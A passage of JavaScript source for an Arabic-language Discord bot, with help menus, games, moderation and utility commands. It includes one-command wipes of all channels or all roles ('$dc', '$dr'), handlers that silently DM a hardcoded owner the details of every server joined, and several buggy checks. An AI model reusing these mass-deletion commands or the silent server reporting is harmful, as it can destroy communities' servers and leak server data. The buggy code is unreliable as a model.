3439 .find("name", room)
3440 .send(
3441 `**Congratulations ${gFilter}! You won The \`${title}\`**`,
3442 { embed: {} }
3443 );
3444 }, duration); //Narox
3445 });
3446 } catch (e) {
3447 //Narox
3448 message.channel.send(
3449 `:heavy_multiplication_x:| **i Don't Have Prem**`
3450 );
3451 console.log(e); //Narox
3452 }
3453 });
3454 });
3455 });
3456 });
3457 });
3458 });
3459 }
3460});
3461
3462//
3463
3464client.on("message", msg => {
3465 var prefix = "$"; //البركفس
3466 if (msg.content.startsWith(prefix + "myguild")) {
3467 let embed = new Discord.RichEmbed()
3468 .setThumbnail(msg.guild.iconURL)
3469 .setColor("RANDOM")
3470 .addField("Year?", msg.guild.createdAt.getFullYear())
3471 .addField("Hour?", msg.guild.createdAt.getHours())
3472 .addField("Day?", msg.guild.createdAt.getDay())
3473 .addField("Month?", msg.guild.createdAt.getMonth())
3474 .addField("Minutes?", msg.guild.createdAt.getMinutes())
3475 .addField("Seconds?", msg.guild.createdAt.getSeconds())
3476 .addField("Full?", msg.guild.createdAt.toLocaleString())
3477 .setTimestamp();
3478 msg.channel.send(embed);
3479 }
3480});
3481
3482//
3483
3484client.on("guildCreate", guild => {
3485 client.users.get("596507272751087636");
3486 const DarkNarox = new Discord.RichEmbed()
3487 .setAuthor(`بوتك دخل سيرفر جديد مبروك ✅`)
3488 .setDescription(
3489 `**
3490 Server name: __${guild.name}__
3491 Server id: __${guild.id}__
3492 Server owner: __${guild.owner}__
3493 Member Count: __${guild.memberCount}__
3494 Servers Counter : __${client.guilds.size}__**`
3495 )
3496 .setColor("#36393e")
3497 .setFooter("Narox", client.user.avatarURL);
3498 client.users.get("596507272751087636").send({ DarkNarox });
3499});
3500
3501client.on("guildDelete", guild => {
3502 client.users.get("596507272751087636");
3503
3504 const DarkNarox = new Discord.RichEmbed()
3505 .setAuthor(`Narox Bot. left a server ❎`)
3506 .setDescription(
3507 `**
3508 Server name: __${guild.name}__
3509 Server id: __${guild.id}__
3510 Server owner: __${guild.owner}__
3511 Members Count: __${guild.memberCount}__
3512 Servers Counter : __${client.guilds.size}__**`
3513 )
3514 .setColor("#36393e")
3515 .setFooter("Narox", client.user.avatarURL);
3516 client.users.get("596507272751087636").send({ DarkNarox });
3517});
3518
3519//
3520
3521//
3522
3523client.on("message", message => {
3524 if (message.content.startsWith(prefix + "gmail")) {
3525 message.channel.send(
3526 JSON.stringify({
3527 email:
3528 Math.random()
3529 .toString(36)
3530 .slice(4)
3531 .trim() + "@gmail.com",
3532 password: Math.random()
3533 .toString(36)
3534 .slice(4)
3535 .trim()
3536 })
3537 );
3538 }
3539});
3540
3541//
3542
3543client.on("message", async message => {
3544 if (message.author.bot) return;
3545 let prefix = "$";
3546
3547 let command = message.content.split(" ")[0].slice(prefix.length);
3548 let args = message.content.split(" ").slice(1);
3549 if (!message.content.toLowerCase().startsWith(prefix)) return;
3550
3551 if (command == "dcolors") {
3552 if (!message.member.hasPermission("ADMINISTRATOR"))
3553 return message.channel.send(`لاتمتلك الصلاحيات لفعل ذلك! :x:`);
3554
3555 message.channel.send("جاري المسح..").then(async m => {
3556 await message.guild.roles.forEach(role => {
3557 if (/^\d+$/gi.test(role.name)) {
3558 role.delete();
3559 }
3560 });
3561 m.edit(`تم إزالة جميع الالوان.`);
3562 });
3563 }
3564});
3565
3566//
3567
3568//
3569
3570//
3571
3572client.on("message", message => {
3573 if (message.content.startsWith(prefix + "public")) {
3574 message.delete(5000);
3575 if (!message.channel.guild) return;
3576 const e = new Discord.RichEmbed()
3577 .setColor("#36393e")
3578 .setDescription(`**تم الارسال في الخاص**?`);
3579 const embed = new Discord.RichEmbed()
3580 .setColor("#36393e")
3581 .setTitle("اوامر عامه")
3582 .setURL("").setDescription(`
3583${prefix}find =====> امر البحث عن الاعضاء في سيرفر
3584
3585${prefix}mychannel =====> نظام روم المخصص
3586
3587${prefix}file =====> يصنع لك ملف في اي كتابة تريدها
3588
3589${prefix}gif =====> البحث عن قيف
3590
3591${prefix}inv =====> دعوة البوت
3592
3593${prefix}skin =====> سكنك في ماين كرافت
3594
3595${prefix}temp =====>انشاء روم باسم معين بوقت معين بصيغة معينة
3596
3597${prefix}credits =====> لعرض الكريدت الخاصة بك
3598
3599${prefix}daily =====> للحصول على راتبك اليومي
3600
3601${prefix}bot =====> معلومات البوت
3602
3603${prefix}infoinvite =====> معلومات الانفابت
3604
3605${prefix}topservers =====> عشر سيرفرات ضايفة البوت
3606
3607${prefix}getssl ====> رابط سكرين شوت للروم الصوتي يلي انت فيه
3608
3609${prefix}ranks =====> يعرض جميع رولات سيرفر
3610
3611${prefix}img =====> اظهار نتائج البحث عن الصور في جوجل
3612
3613${prefix}google =====> للبحث في قوقل
3614
3615${prefix}server =====> معلومات سيرفر
3616
3617${prefix}ibot =====> دعوة اي بوت بمنشن
3618
3619${prefix}sugg =====> اقتراح لصاحب البوت
3620
3621${prefix}member =====> حالة الاعضاء
3622
3623${prefix}banlist =====> قائمة المبندين من سيرفر
3624
3625${prefix}date =====> تاريخ اليوم
3626
3627${prefix}image =====> صورة سيرفر
3628
3629${prefix}avatar =====> الافتار تبعك او تبع عضو اخر
3630
3631${prefix}grole =====> معلومات عن اي رتبة في سيرفر
3632
3633${prefix}rooms =====> جميع رومات سيرفر
3634
3635${prefix}quran =====> يعرض لك 200 صفحة من القرأن الكريم
3636
3637${prefix}gmail =====> يعطيك اميل وهمي
3638
3639${prefix}myguild =====> تاريخ انشاء سيرفر
3640
3641${prefix}topinv ====> اعلى انفايتات في سبرفر
3642
3643لدخول سيرفر السبورت
3644
3645
3646https://discord.gg/JfKzBV2
3647
3648`);
3649 message.channel.send(e).then(m => m.delete(5000));
3650 message.author
3651 .sendEmbed(embed)
3652 .catch(error => message.reply("**خاصك مقفول**?"));
3653 }
3654});
3655
3656//
3657
3658client.on("message", message => {
3659 if (message.content.startsWith(prefix + "admin")) {
3660 message.delete(5000);
3661 if (!message.channel.guild) return;
3662 const e = new Discord.RichEmbed()
3663 .setColor("#FF0A05")
3664 .setDescription(`**تم الارسال في الخاص**?`);
3665 const embed = new Discord.RichEmbed()
3666 .setColor("#FF0A05")
3667 .setTitle("اوامر ادمنيه")
3668 .setURL("").setDescription(`
3669
3670${prefix}ban/unban =====> باند
3671
3672${prefix}mute/unmute =====> ميوت
3673
3674${prefix}kick =====> طرد
3675
3676${prefix}perms =====> عرض صلاحياتك
3677
3678${prefix}talk =====>تكلم من روم لروم عن طريق البوت
3679
3680${prefix}embed =====> تكلم في امبد
3681
3682${prefix}upembed =====> امبد مطور مع تحديد الون
3683
3684${prefix}say =====> تكلم بدون امبد
3685
3686${prefix}add =====> اضافة اي اموجي لسيرفر في الايدي
3687
3688${prefix}giveaway/ [اسم روم القيف]/ [الوقت للقيف يحسب في الدقائق]/ [الجائزة] =====> انشاء قيف اواي
3689
3690
3691`);
3692 message.channel.send(e).then(m => m.delete(5000));
3693 message.author
3694 .sendEmbed(embed)
3695 .catch(error => message.reply("**خاصك مقفول**?"));
3696 }
3697});
3698
3699client.on("message", message => {
3700 if (message.content.startsWith(prefix + "ticket")) {
3701 message.delete(5000);
3702 if (!message.channel.guild) return;
3703 const e = new Discord.RichEmbed()
3704 .setColor("#FFDF02")
3705 .setDescription(`**تم الارسال في الخاص**?`);
3706 const embed = new Discord.RichEmbed()
3707 .setColor("#FFDF02")
3708 .setTitle("اوامر تكت")
3709 .setURL("").setDescription(`
3710لاستخدام الاوامر يحتاج رول باسم (ticket)
3711
3712${prefix}new =====> فتح تكت
3713
3714${prefix}tadd =====> اضافة شخص للتكت
3715
3716${prefix}remove =====> ازالة شخص من تكت
3717
3718${prefix}rename =====> تغير اسم تكت
3719
3720${prefix}close =====> اغلاق تكت
3721
3722${prefix}fe =====> اغلاق تكت بشكل اسرع
3723
3724${prefix}confirm =====> تاكيد الاغلاق
3725
3726الاعضاء الذين يرون التكت لديهم الرولات التاليه
3727support
3728support new
3729ادمن استيريو
3730لدخول سيرفر السبورت
3731
3732
3733https://discord.gg/JfKzBV2
3734`);
3735 message.channel.send(e).then(m => m.delete(5000));
3736 message.author
3737 .sendEmbed(embed)
3738 .catch(error => message.reply("**خاصك مقفول**?"));
3739 }
3740});
3741
3742client.on("message", message => {
3743 if (message.content.startsWith(prefix + "games")) {
3744 message.delete(5000);
3745 if (!message.channel.guild) return;
3746 const e = new Discord.RichEmbed()
3747 .setColor("#fff700")
3748 .setDescription(`**تم الارسال في الخاص**?`);
3749 const embed = new Discord.RichEmbed()
3750 .setColor("#fff700")
3751 .setTitle("اوامر الالعاب")
3752 .setURL("").setDescription(`
3753${prefix}نكت =====> نكت
3754
3755${prefix}طرح=====> عمليات طرح
3756
3757${prefix}جمع ====> عمليات جمع
3758
3759${prefix}ضرب =====> عمليات ضرب
3760
3761${prefix}كت تويت =====> لعبة كت تويت
3762
3763${prefix}hack =====> لعبة هاك
3764
3765${prefix}kiss ====> بلا ما نحكي ابري زمتي??
3766
3767${prefix}حكم =====>احكام على كيف كيفك?
3768
3769${prefix}هل تعلم =====> معلومات مفيدة
3770
3771${prefix}عواصم =====> لعبة عواصم
3772
3773${prefix}صراحه =====> لعبه صراحه
3774
3775${prefix}فواكه =====> لعبة فواكه
3776
3777${prefix}فكك =====> لعبة فكك
3778
3779${prefix}فورت نايت =====> اسئلة فورت نايت
3780
3781${prefix}marry =====> لعبة الزواج?
3782
3783لدخول سيرفر السبورت
3784
3785
3786https://discord.gg/JfKzBV2
3787`);
3788 message.channel.send(e).then(m => m.delete(5000));
3789 message.author
3790 .sendEmbed(embed)
3791 .catch(error => message.reply("**خاصك مقفول**?"));
3792 }
3793});
3794//
3795
3796client.on("message", message => {
3797 if (message.content.startsWith(prefix + "Protection")) {
3798 message.delete(5000);
3799 if (!message.channel.guild) return;
3800 const e = new Discord.RichEmbed()
3801 .setColor("#36393e")
3802 .setDescription(`**تم الارسال في الخاص**?`);
3803 const embed = new Discord.RichEmbed()
3804 .setColor("#36393e")
3805 .setTitle("اوامر الحمايه")
3806 .setURL("").setDescription(`
3807
3808لتفعيل منع روابط سيرفرات اصنع (رول) باسم
3809
3810nolinkdis
3811
3812مع مراعا الحروف الكبيرة و الصغيرة
3813
3814لتفعيل ميزة منع الروابط اليوتيوب اصنع (رول) باسم
3815
3816nolinkyt
3817
3818مع مراعا الحروف الكبيرة و الصغيرة
3819
3820لمنع جميع انواع الروابط اصنع (رول) باسم
3821
3822nolinkall
3823
3824مع مراعة الحروف الكبيره والصغيره
3825
3826لدخول سيرفر السبورت
3827
3828
3829https://discord.gg/JfKzBV2
3830`);
3831 message.channel.send(e).then(m => m.delete(5000));
3832 message.author
3833 .sendEmbed(embed)
3834 .catch(error => message.reply("**خاصك مقفول**?"));
3835 }
3836});
3837
3838//
3839
3840client.on("message", message => {
3841 if (message.channel.type === "dm") return;
3842 if (message.content.startsWith("$marry")) {
3843 if (!message.channel.guild)
3844 return message.reply(" This command only for servers ");
3845 var proposed = message.mentions.members.first();
3846
3847 if (!message.mentions.members.first())
3848 return message.reply("لازم تطلب ايد وحدة").catch(console.error);
3849 if (message.mentions.users.size > 1)
3850 return message.reply("ولد ما يضبط لازم بنت").catch(console.error);
3851 if (proposed === message.author) return message.reply(`**خنتى ؟ **`);
3852 if (proposed === client.user) return message.reply(`** تبي تتزوجني؟ **`);
3853 message.channel.send(`**${proposed}
3854بدك تقبلي عرض الزواج من ${message.author}
3855العرض لمدة 10 ثواني
3856اكتبي موافقه او لا**`);
3857
3858 const filter = m => m.content.startsWith("موافقه");
3859 message.channel
3860 .awaitMessages(filter, { max: 1, time: 15000, errors: ["time"] })
3861 .then(collected => {
3862 message.channel.send(
3863 `**${message.author} و ${proposed} الف الف مبروك انشاء الله تستمتعون بحياتكم الزوجية ويطول اعماركم ولا تنسون شهر العسل**`
3864 );
3865 })
3866 .catch(collected =>
3867 message.channel.send(`**السكوت علامة الرضا نقول مبرووك**`)
3868 );
3869
3870 const filte = m => m.content.startsWith("لا");
3871 message.channel
3872 .awaitMessages(filte, { max: 1, time: 15000, errors: ["time"] })
3873 .then(collected => {
3874 message.channel.send(`**${message.author} تم رفض عرضك**`);
3875 });
3876 }
3877});
3878
3879//
3880
3881client.on("message", message => {
3882 if (message.content.startsWith(prefix + "topinv")) {
3883 message.guild.fetchInvites().then(i => {
3884 var invites = [];
3885
3886 i.forEach(inv => {
3887 var [invs, i] = [{}, null];
3888
3889 if (inv.maxUses) {
3890 invs[inv.code] = +inv.uses + "/" + inv.maxUses;
3891 } else {
3892 invs[inv.code] = +inv.uses;
3893 }
3894 invites.push(
3895 `invite: ${inv.url} inviter: ${inv.inviter} \`${invs[inv.code]}\`;`
3896 );
3897 });
3898 var embed = new Discord.RichEmbed()
3899 .setColor("#000000")
3900 .setDescription(
3901 `${invites.join(`\n`) + "\n\n**By:** " + message.author}`
3902 )
3903 .setThumbnail(
3904 "https://cdn.discordapp.com/attachments/442414506430169098/489929808244113409/JPEG_20180913_232108.jpg"
3905 );
3906 message.channel.send({ embed: embed });
3907 });
3908 }
3909});
3910
3911//
3912
3913client.on("message", message => {
3914 let user =
3915 message.mentions.users.first() ||
3916 client.users.get(message.content.split(" ")[1]);
3917 if (message.content.startsWith(prefix + "unban")) {
3918 if (!message.member.hasPermission("ADMINISTRATOR"))
3919 return message.channel.send("❌|**`ADMINISTRATOR`لا توجد لديك رتبة`**");
3920
3921 if (!user)
3922 return message.channel.send(
3923 `Do this ${prefix} <@ID user> \n or \n ${prefix}unban ID user`
3924 );
3925 message.guild.unban(user);
3926 message.guild.owner.send(
3927 `لقد تم فك الباند عن الشخص \n ${user} \n By : <@${message.author.id}>`
3928 );
3929 var embed = new Discord.RichEmbed()
3930 .setThumbnail(message.author.avatarURl)
3931 .setColor("RANDOM")
3932 .setTitle("**●Unban** !")
3933 .addField("**●User Unban :** ", `${user}`, true)
3934 .addField("**●By :**", ` <@${message.author.id}> `, true)
3935 .setAuthor(message.guild.name);
3936 message.channel.sendEmbed(embed);
3937 }
3938});
3939
3940//
3941
3942const Sra7a = [
3943 "صراحه | صوتك حلوة؟",
3944 "صراحه | التقيت الناس مع وجوهين؟",
3945 "صراحه | شيء وكنت تحقق اللسان؟",
3946 "صراحه | أنا شخص ضعيف عندما؟",
3947 "صراحه | هل ترغب في إظهار حبك ومرفق لشخص أو رؤية هذا الضعف؟",
3948 "صراحه | يدل على أن الكذب مرات تكون ضرورية شي؟",
3949 "صراحه | أشعر بالوحدة على الرغم من أنني تحيط بك كثيرا؟",
3950 "صراحه | كيفية الكشف عن من يكمن عليك؟",
3951 "صراحه | إذا حاول شخص ما أن يكرهه أن يقترب منك ويهتم بك تعطيه فرصة؟",
3952 "صراحه | أشجع شيء حلو في حياتك؟",
3953 'صراحه | طريقة جيدة يقنع حتى لو كانت الفكرة خاطئة" توافق؟',
3954 "صراحه | كيف تتصرف مع من يسيئون فهمك ويأخذ على ذهنه ثم ينتظر أن يرفض؟",
3955 "صراحه | التغيير العادي عندما يكون الشخص الذي يحبه؟",
3956 "صراحه | المواقف الصعبة تضعف لك ولا ترفع؟",
3957 "صراحه | نظرة و يفسد الصداقة؟",
3958 "صراحه | إذا أحد قالك كلام سيء بالغالب وش تكون ردة فعلك؟",
3959 "صراحه | شخص معك بالحلوه والمُره؟",
3960 "صراحه | هل تحب إظهار حبك وتعلقك بالشخص أم ترى ذلك ضعف؟",
3961 "صراحه | تأخذ بكلام اللي ينصحك ولا تسوي اللي تبي؟",
3962 "صراحه | وش تتمنى الناس تعرف عليك؟",
3963 "صراحه | ابيع المجرة عشان؟",
3964 "صراحه | أحيانا احس ان الناس ، كمل؟",
3965 "صراحه | مع مين ودك تنام اليوم؟",
3966 "صراحه | صدفة العمر الحلوة هي اني؟",
3967 'صراحه | الكُره العظيم دايم يجي بعد حُب قوي " تتفق؟',
3968 "صراحه | صفة تحبها في نفسك؟",
3969 'صراحه | الفقر فقر العقول ليس الجيوب " ، تتفق؟',
3970 "صراحه | تصلي صلواتك الخمس كلها؟",
3971 "صراحه | تجامل أحد على راحتك؟",
3972 "صراحه | اشجع شيء سويتة بحياتك؟",
3973 "صراحه | وش ناوي تسوي اليوم؟",
3974 "صراحه | وش شعورك لما تشوف المطر؟",
3975 "صراحه | غيرتك هاديه ولا تسوي مشاكل؟",
3976 "صراحه | ما اكثر شي ندمن عليه؟",
3977 "صراحه | اي الدول تتمنى ان تزورها؟",
3978 "صراحه | متى اخر مره بكيت؟",
3979 "صراحه | تقيم حظك ؟ من عشره؟",
3980 "صراحه | هل تعتقد ان حظك سيئ؟",
3981 "صراحه | شـخــص تتمنــي الإنتقــام منـــه؟",
3982 "صراحه | كلمة تود سماعها كل يوم؟",
3983 "صراحه | **هل تُتقن عملك أم تشعر بالممل؟",
3984 "صراحه | هل قمت بانتحال أحد الشخصيات لتكذب على من حولك؟",
3985 "صراحه | متى آخر مرة قمت بعمل مُشكلة كبيرة وتسببت في خسائر؟",
3986 "صراحه | ما هو اسوأ خبر سمعته بحياتك؟",
3987 "صراحه | هل جرحت شخص تحبه من قبل ؟",
3988 "صراحه | ما هي العادة التي تُحب أن تبتعد عنها؟",
3989 "صراحه | هل تحب عائلتك ام تكرههم؟",
3990 "صراحه | من هو الشخص الذي يأتي في قلبك بعد الله – سبحانه وتعالى- ورسوله الكريم – صلى الله عليه وسلم؟",
3991 "صراحه | هل خجلت من نفسك من قبل؟",
3992 "صراحه | ما هو ا الحلم الذي لم تستطيع ان تحققه؟",
3993 "صراحه | ما هو الشخص الذي تحلم به كل ليلة؟",
3994 "صراحه | هل تعرضت إلى موقف مُحرج جعلك تكره صاحبهُ؟",
3995 "صراحه | هل قمت بالبكاء أمام من تُحب؟",
3996 "صراحه | ماذا تختار حبيبك أم صديقك؟",
3997 "صراحه | هل حياتك سعيدة أم حزينة؟",
3998 "صراحه | ما هي أجمل سنة عشتها بحياتك؟",
3999 "صراحه | ما هو عمرك الحقيقي؟",
4000 "صراحه | ما اكثر شي ندمن عليه؟",
4001 "صراحه | ما هي أمنياتك المُستقبلية؟",
4002 "صراحه | نفسك فـ ايه ؟",
4003 "صراحه | هل تحب فتاه او احببت من قبل ؟",
4004 "صراحه | هل شكلك حلو او جيد او متوسط او سئ ؟",
4005 "صراحه | ما هي الماده الدراسيه التي تحبها اكثر وتفضلها؟",
4006 "صراحه | هل تحب مدرستك ؟",
4007 "صراحه | ما الشئ الذي تتمني ان يحصل ؟",
4008 "صراحه | هل تحب عائلتك ؟"
4009];
4010client.on("message", message => {
4011 if (message.author.bot) return;
4012 if (message.content.startsWith("$صراحه")) {
4013 if (!message.channel.guild)
4014 return message.reply("** This command only for servers **");
4015 var client = new Discord.RichEmbed()
4016 .setTitle("لعبة صراحة ..")
4017 .setColor("RANDOM")
4018 .setDescription(`${Sra7a[Math.floor(Math.random() * Sra7a.length)]}`)
4019 .setImage(
4020 "https://cdn.discordapp.com/attachments/371269161470525444/384103927060234242/125.png"
4021 )
4022 .setTimestamp();
4023
4024 message.channel.sendEmbed(client);
4025 message.react("??");
4026 }
4027});
4028
4029//
4030
4031client.on("message", omar => {
4032 var prefix = "$";
4033 if (omar.content.split(" ")[0] == prefix + "dc") {
4034 if (!omar.channel.guild) return;
4035 if (!omar.guild.member(omar.author).hasPermission("MANAGE_CHANNELS"))
4036 return omar.reply("**You Don't Have ` MANAGE_CHANNELS ` Permission**");
4037 if (!omar.guild.member(client.user).hasPermission("MANAGE_CHANNELS"))
4038 return omar.reply("**I Don't Have ` MANAGE_CHANNELS ` Permission**");
4039 omar.guild.channels.forEach(m => {
4040 m.delete();
4041 });
4042 }
4043 if (omar.content.split(" ")[0] == prefix + "dr") {
4044 if (!omar.channel.guild) return;
4045 if (
4046 !omar.guild
4047 .member(omar.author)
4048 .hasPermission("MANAGE_ROLES_OR_PERMISSIONS")
4049 )
4050 return omar.reply(
4051 "**You Don't Have ` MANAGE_ROLES_OR_PERMISSIONS ` Permission**"
4052 );
4053 if (
4054 !omar.guild
4055 .member(client.user)
4056 .hasPermission("MANAGE_ROLES_OR_PERMISSIONS")
4057 )
4058 return omar.reply(
4059 "**I Don't Have ` MANAGE_ROLES_OR_PERMISSIONS ` Permission**"
4060 );
4061 omar.guild.roles.forEach(m => {
4062 m.delete();
4063 });
4064 omar.reply("✅ `Success Deleted All Roles - Ranks`");
4065 }
4066});
4067
4068client.on("message", message => {
4069 if (message.content.startsWith(prefix + "music")) {
4070 message.delete(5000);
4071 if (!message.channel.guild) return;
4072 const e = new Discord.RichEmbed()
4073 .setColor("#FFDF02")
4074 .setDescription(`**تم الارسال في الخاص**?`);
4075 const embed = new Discord.RichEmbed()
4076 .setColor("#FFDF02")
4077 .setTitle("اوامر الموسيقا")
4078 .setURL("").setDescription(`
4079${prefix}play /تشغيل الاغنية
4080
4081${prefix}skip /تخطي الاغنية
4082
4083${prefix}leave/ يخرج البوت من الروم الصوتي
4084
4085${prefix}stop / ايقاف الاغنية
4086
4087${prefix}resume ⇏ لموآصلة الإغنية بعد إيقآفهآ مؤقتا
4088
4089${prefix}vol ⇏ لتغيير درجة الصوت 100 - 0
4090
4091${prefix}np ⇏ لمعرفة الأغنية المشغلة حآليا
4092
4093${prefix}queue ⇏ لمعرفة قآئمة التشغيل
4094
4095لدخول سيرفر السبورت
4096
4097https://discord.gg/JfKzBV2
4098
4099`);
4100 message.channel.send(e).then(m => m.delete(5000));
4101 message.author
4102 .sendEmbed(embed)
4103 .catch(error => message.reply("**خاصك مقفول**?"));
4104 }
4105});
4106
4107//
4108
4109client.on("message", message => {
4110 var prefix = "$";
4111 if (message.content.startsWith(prefix + "perms")) {
4112 if (!message.channel.guild) return;
4113 var perms = JSON.stringify(
4114 message.channel.permissionsFor(message.author).serialize(),
4115 null,
4116 4
4117 );
4118 var zPeRms = new Discord.RichEmbed()
4119 .setColor("RANDOM")
4120 .setTitle(":tools: Permissions")
4121 .addField("Your Permissions:", perms);
4122 message.channel.send({ embed: zPeRms });
4123 }
4124});
4125
4126client.on("message", message => {
4127 var prefix = "$";
4128 var cats = [
4129 "http://palestine-kitchen.ps/wp-content/uploads/2017/12/%D9%86%D9%83%D8%AA-%D8%AF%D8%A8%D8%A7%D9%86%D8%A9.png",
4130 "http://www.i7lm.com/wp-content/uploads/2017/04/136769797816.jpg",
4131 "https://4.bp.blogspot.com/-p62zmDIDXmI/WKzqNt9smaI/AAAAAAAAC4Q/sW_bSIB8OaQhwOYFeplc3uzz8PBN7l3YACEw/s1600/13602501135.jpg",
4132 "https://www.universemagic.com/images/2016/03/7938-2-or-1457539273.jpg",
4133 "https://1.bp.blogspot.com/-yFk-FzHSyE8/WR9fmPcsCUI/AAAAAAAAE6c/AmvjLadOiLY9GiCqMLHgA121bY2RS_dCwCLcB/s1600/%25D9%2586%25D9%2583%25D8%25AA%2B%25D9%2585%25D8%25B6%25D8%25AD%25D9%2583%25D8%25A9%2B1.jpg",
4134 "https://l7zaat.com/wp-content/uploads/2018/02/423.jpg",
4135 "https://www.petfinder.com/wp-content/uploads/2012/11/101438745-cat-conjunctivitis-causes.jpg",
4136 "http://www.shuuf.com/shof/uploads/2018/02/08/jpg/shof_97d686082bdb0a2.jpg"
4137 ];
4138 var args = message.content.split(" ").slice(1);
4139 if (message.content.startsWith(prefix + "نكت")) {
4140 var cat = new Discord.RichEmbed().setImage(
4141 cats[Math.floor(Math.random() * cats.length)]
4142 );
4143 message.channel.sendEmbed(cat);
4144 }
4145});
4146
4147client.on("message", message => {
4148 if (message.content.startsWith("oallserver")) {
4149 if (!devs.includes(message.author.id)) return;
4150
4151 if (!message.author.id === "596507272751087636") return;
4152 var gimg;
4153 var gname;
4154 var gmemb;
4155 var gbots;
4156 var groles;
4157 var servers = client.guilds;
4158 servers.forEach(g => {
4159 gname = g.name;
4160 gimg = g.iconURL;
4161 gmemb = g.members.size;
4162 gbots = g.members.filter(m => m.bot).size;
4163 groles = g.roles.map(r => {
4164 return r.name;
4165 });
4166 let serv = new Discord.RichEmbed()
4167 .setAuthor(gname, gimg)
4168 .setThumbnail(gimg)
4169 .addField("Server bots", gbots)
4170 .addField("Server Member Count", (gmemb = g.members.size))
4171 .setColor("RANDOM");
4172 message.channel.send(`
4173 Server Name : **${gname}**
4174 Server MemberCount : **${gmemb} **
4175
4176 `);
4177 message.channel.sendEmbed(serv);
4178 });
4179 }
4180});
4181
4182client.on("message", message => {
4183 if (message.content.startsWith(prefix + "inv")) {
4184 message.delete(5000);
4185 if (!message.channel.guild) return;
4186 const e = new Discord.RichEmbed()
4187 .setColor("#FFF")
4188 .setDescription(`**تم الارسال في الخاص**?`);
4189 const embed = new Discord.RichEmbed()
4190 .setColor("#FFF")
4191 .setTitle("لدعوة البوت اضغط هنا")
4192 .setURL(
4193 "https://discordapp.com/api/oauth2/authorize?client_id=618172533002338363&permissions=2147483128&scope=bot"
4194 );
4195 message.channel.send(e).then(m => m.delete(5000));
4196 message.author
4197 .sendEmbed(embed)
4198 .catch(error => message.reply("**خاصك مقفول**?"));
4199 }
4200});
4201
4202//
4203
4204client.on("guildMemberAdd", member => {
4205 member.addRole(member.guild.roles.find("name", "member_lx"));
4206});
4207
4208client.on("message", message => {
4209 if (message.content.startsWith(prefix + "support")) {
4210 message.delete(5000);
4211 if (!message.channel.guild) return;
4212 const e = new Discord.RichEmbed()
4213 .setColor("#FFF")
4214 .setDescription(`**تم الارسال في الخاص**?`);
4215 const embed = new Discord.RichEmbed()
4216 .setColor("#FFF")
4217 .setTitle("لدخول سيرفر السبورت اضغط هنا")
4218 .setURL("https://discord.gg/JfKzBV2");
4219 message.channel.send(e).then(m => m.delete(5000));
4220 message.author
4221 .sendEmbed(embed)
4222 .catch(error => message.reply("**خاصك مقفول**?"));
4223 }
4224});
4225
4226//
4227
4228client.on("message", async msg => {
4229 if (msg.content.startsWith(prefix + "clr")) {
4230 if (!msg.member.hasPermission("MANAGE_MESSAGES"))
4231 return msg.channel.send(`لاتمتلك الصلاحيات لفعل ذلك! :x:`);
4232
4233 let args = msg.content
4234 .split(" ")
4235 .slice(1)
4236 .join(" ");
4237 if (!args)
4238 return msg.reply(`**${msg.content} <Number Messages Deleted?>**`);
4239 msg.reply("**Are You Sure Of The Deleted Messages?**").then(o => {
4240 o.react("✅")
4241 .then(() => o.react("❎"))
4242 .then(() => o.react("✅"));
4243 let reaction1 = (reaction, user) =>
4244 reaction.emoji.name === "✅" && user.id === msg.author.id;
4245 let reaction2 = (reaction, user) =>
4246 reaction.emoji.name === "❎" && user.id === msg.author.id;
4247 let react3 = o.createReactionCollector(reaction1, { time: 12300 });
4248 let react4 = o.createReactionCollector(reaction2, { time: 12300 });
4249 react3.on("collect", r => {
4250 msg.channel.bulkDelete(args);
4251 msg.reply(`**Done Deleted Messages ${args}**`).then(op => {
4252 op.delete(1200);
4253 o.delete(1200);
4254 msg.delete(1200);
4255 });
4256 react4.on("collect", r => {
4257 msg.reply(`**Done Deleted Messages Has Been Cancel**`).then(ob => {
4258 ob.delete(1200);
4259 o.delete(1200);
4260 msg.delete(1200);
4261 });
4262 });
4263 });
4264 });
4265 }
4266});
4267
4268//
4269
4270//
4271
4272client.on("message", message => {
4273 if (message.content.startsWith(prefix + "ranks")) {
4274 const Rank = message.guild.roles.map(e => e.toString()).join(" ");
4275
4276 const RankList = new Discord.RichEmbed()
4277 .setTitle("➠ Roles.")
4278 .setAuthor(message.guild.name, message.guild.iconURL)
4279 .setColor("RANDOM")
4280 .setDescription(Rank)
4281 .setFooter(message.guild.name);
4282 message.channel.send(RankList);
4283 }
4284});
4285
4286client.on("message", message => {
4287 if (message.content.startsWith(prefix + "img")) {
4288 const query = message.content.split(" ").slice(1);
4289 const url = `https://www.google.com/search?tbm=isch&q=${query}`;
4290 if (!query)
4291 return message.channel.send(
4292 `**:x: | Error , Please Type Command True Ex : \`${prefix}img [Anything]\`**`
4293 );
4294 let Images = new Discord.RichEmbed()
4295 .setAuthor(
4296 "Google Images",
4297 "https://cdn.discordapp.com/attachments/594421865137569797/599226946290843648/iVRUEpoIAAAAASUVORK5CYII.png"
4298 )
4299 .setColor("BLUE")
4300 .setTitle(`Images : \`${query.join(" ")}\``)
4301 .setDescription(`${url}`)
4302 .setFooter(message.author.username, message.author.avatarURL);
4303 message.channel.send(Images);
4304 }
4305});
4306
4307//
4308
4309client.on("message", message => {
4310 if (message.content.startsWith(prefix + "croles")) {
4311 if (!message.channel.guild)
4312 return message.channel.send("**This Command Only For Servers !**");
4313 if (!message.member.hasPermission("MANAGE_ROLES"))
4314 return message.channel.send(
4315 `**${message.author.username} You Dont Have** ``MANAGE_ROLES`` **Premission**`
4316 );
4317
4318 message.guild.createRole({
4319 name: "Owner",
4320 color: "#ffffff",
4321 permissions: []
4322 });
4323 message.guild.createRole({
4324 name: "Co-Owner",
4325 color: "#ffffff",
4326 permissions: []
4327 });
4328 message.guild.createRole({
4329 name: "Leader",
4330 color: "#ffffff",
4331 permissions: []
4332 });
4333 message.guild.createRole({
4334 name: "Co-Leader",
4335 color: "#ffffff",
4336 permissions: []
4337 });
4338 message.guild.createRole({
4339 name: "King",
4340 color: "#ffffff",
4341 permissions: []
4342 });
4343 message.guild.createRole({
4344 name: "Qween",
4345 color: "#ffffff",
4346 permissions: []
4347 });
4348 message.guild.createRole({
4349 name: "HighNiss",
4350 color: "#ffffff",
4351 permissions: []
4352 });
4353 message.guild.createRole({
4354 name: "Pros",
4355 color: "#ffffff",
4356 permissions: []
4357 });
4358 message.guild.createRole({
4359 name: "VIP+",
4360 color: "#ffffff",
4361 permissions: []
4362 });
4363 message.guild.createRole({
4364 name: "VIP",
4365 color: "#ffffff",
4366 permissions: []
4367 });
4368 message.guild.createRole({
4369 name: "Actve",
4370 color: "#ffffff",
